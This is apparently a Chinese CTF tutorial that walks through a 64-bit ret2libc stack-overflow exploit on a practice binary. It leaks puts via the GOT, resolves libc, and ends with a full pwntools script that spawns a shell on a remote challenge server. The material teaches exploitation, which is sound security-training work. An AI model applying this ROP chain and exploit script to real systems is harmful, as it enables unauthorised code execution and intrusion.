前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >PWN从入门到放弃(10)——栈溢出之ret2libc(x64)

PWN从入门到放弃(10)——栈溢出之ret2libc(x64)

作者头像
山深有杏
发布2024-01-30 14:23:29
1.3K0
发布2024-01-30 14:23:29
举报
文章被收录于专栏:CTF新手教程

前面我们介绍了32位elf程序ret2libc的利用方法

本篇我们介绍一下64位的ret2libc

0x00 例题

题目附件下载

1)查看文件信息
代码语言:javascript
复制
$ file ret2libc
$ checksec ret2libc
2)查看程序流程

运行一下程序,看看程序的大概流程

程序提供一次输入一次输出

3)分析程序&查找漏洞点

将程序扔到ida pro里分析

首先分析main()函数

我们看到,程序使用了gets函数和puts函数,根据我们之前讲过的ret2libc,攻击思路还是很清晰的

这里gets()函数是存在溢出的,我们可以利用这个溢出,构造一个puts()函数,将函数实际地址打印出来

然后利用puts函数的实际地址计算出libc基地址,再计算system函数和binsh的地址

4)构造payload

首先构造第一段payload

这里需要注意,64位程序和32位程序有比较大的区别,32位程序函数参数是通过栈来传参,我们只需要构造一个栈结构即可;64位程序函数参数是通过寄存器来传参,因此,我们需要用到ROPgadget来给寄存器赋值

64位程序传递参数的寄存器一共有六个,如果函数参数大于六个,后面的参数才会入栈,寄存器传参顺序为:rdi rsi rdx rcx r8 r9

因为我们脚本需要用到的函数为puts和system,这两个函数都只有一个参数,因此我们只需要rdi寄存器即可

我们利用ROPgadget工具来查找ROP片段

代码语言:javascript
复制
$ ROPgadget --binary ret2libc

我们找到pop rdi ; ret,将其地址复制出来

构造函数的顺序为,溢出偏移+pop rdi ; ret+参数+函数地址+函数返回地址

注:这里因为程序只有一次输入输出,所以我们返回地址填上main函数的地址,当我们构造的函数执行完后,会返回到main函数继续执行。

第一段payload如下

代码语言:javascript
复制
from pwn import *

r = process('./ret2libc')
elf = ELF('./ret2libc')

padding = 120

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753

payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

r.sendline(payload)

r.interactive()

我们运行脚本,程序就会将puts函数的实际地址给我们打印出来

我们通过recvline方法来接收

代码语言:javascript
复制
r.recvline()
puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))

第一个r.recvline()用来接收程序给我们打印的数据,第二个r.recvline用来接收puts函数的实际地址,这里用[:-1]来截取掉后面的’\n’,用.ljust(8,’\x00′)将长度填充为8,因为64位程序的地址长度为8

当我们成功获取到puts函数的实际地址后,即可将本地调试改成远程调试,将远程服务器上的程序puts函数实际地址泄露出来,然后根据puts函数的实际地址来查找远程服务器上所使用的libc库版本

这里我们看到,远程调试时,puts函数实际地址的后三位为6a0,那么我们上网查一下,戳这里☞libc database search

我们找到对应版本的libc库,即可下载

注:64位程序选择amd64的库,32位程序选择i386的库

我们将对应库下载下来,放到程序文件夹下,重命名位libc.so,并将其导入脚本

代码语言:javascript
复制
libc = ELF('./libc.so')

然后可根据公式来计算出libc的基地址和system函数以及binsh的地址

代码语言:javascript
复制
libc_base = puts_real - libc.symbols['puts']
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()

这里一般会将libc_base的值打印出来,如果后三位是0,那么证明我们计算的是没有问题的

那么现在我们可以继续构造第二段payload了

代码语言:javascript
复制
payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)

sleep(1)
r.sendline(payload2)

0x01 完整exp

代码语言:javascript
复制
from pwn import *

#r = process('./ret2libc')
r = remote('123.56.83.100',6102)
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc = ELF('./libc.so')
elf = ELF('./ret2libc')

padding = 120

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = 0x400666
pop_rdi_ret = 0x0400753

payload = 'a' * padding
payload += p64(pop_rdi_ret)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(main_addr)

r.sendline(payload)

r.recvline()
puts_real = u64(r.recvline()[:-1].ljust(8,'\x00'))
print hex(puts_real)

libc_base = puts_real - libc.symbols['puts']
print hex(libc_base)
system_addr = libc_base + libc.symbols['system']
bin_sh_addr = libc_base + libc.search('/bin/sh').next()

payload2 = 'a' * padding
payload2 += p64(pop_rdi_ret)
payload2 += p64(bin_sh_addr)
payload2 += p64(system_addr)
payload2 += p64(0xdeadbeef)

sleep(1)
r.sendline(payload2)

r.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00 例题
    • 1)查看文件信息
      • 2)查看程序流程
        • 3)分析程序&查找漏洞点
          • 4)构造payload
          • 0x01 完整exp
          相关产品与服务
          远程调试
          远程调试(Remote Debugging,RD)在云端为用户提供上千台真实手机/定制机/模拟器设备,快速实现随时随地测试。运用云测技术对测试方式、操作体验进行了优化,具备多样性的测试能力,包括随时截图和记录调试日志,稳定的支持自动化测试, 设备灵活调度,用例高效执行, 快速定位产品功能和兼容性问题。云手机帮助应用、移动游戏快速发现和解决问题,节省百万硬件费用,加速敏捷研发流程。
          领券
          问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档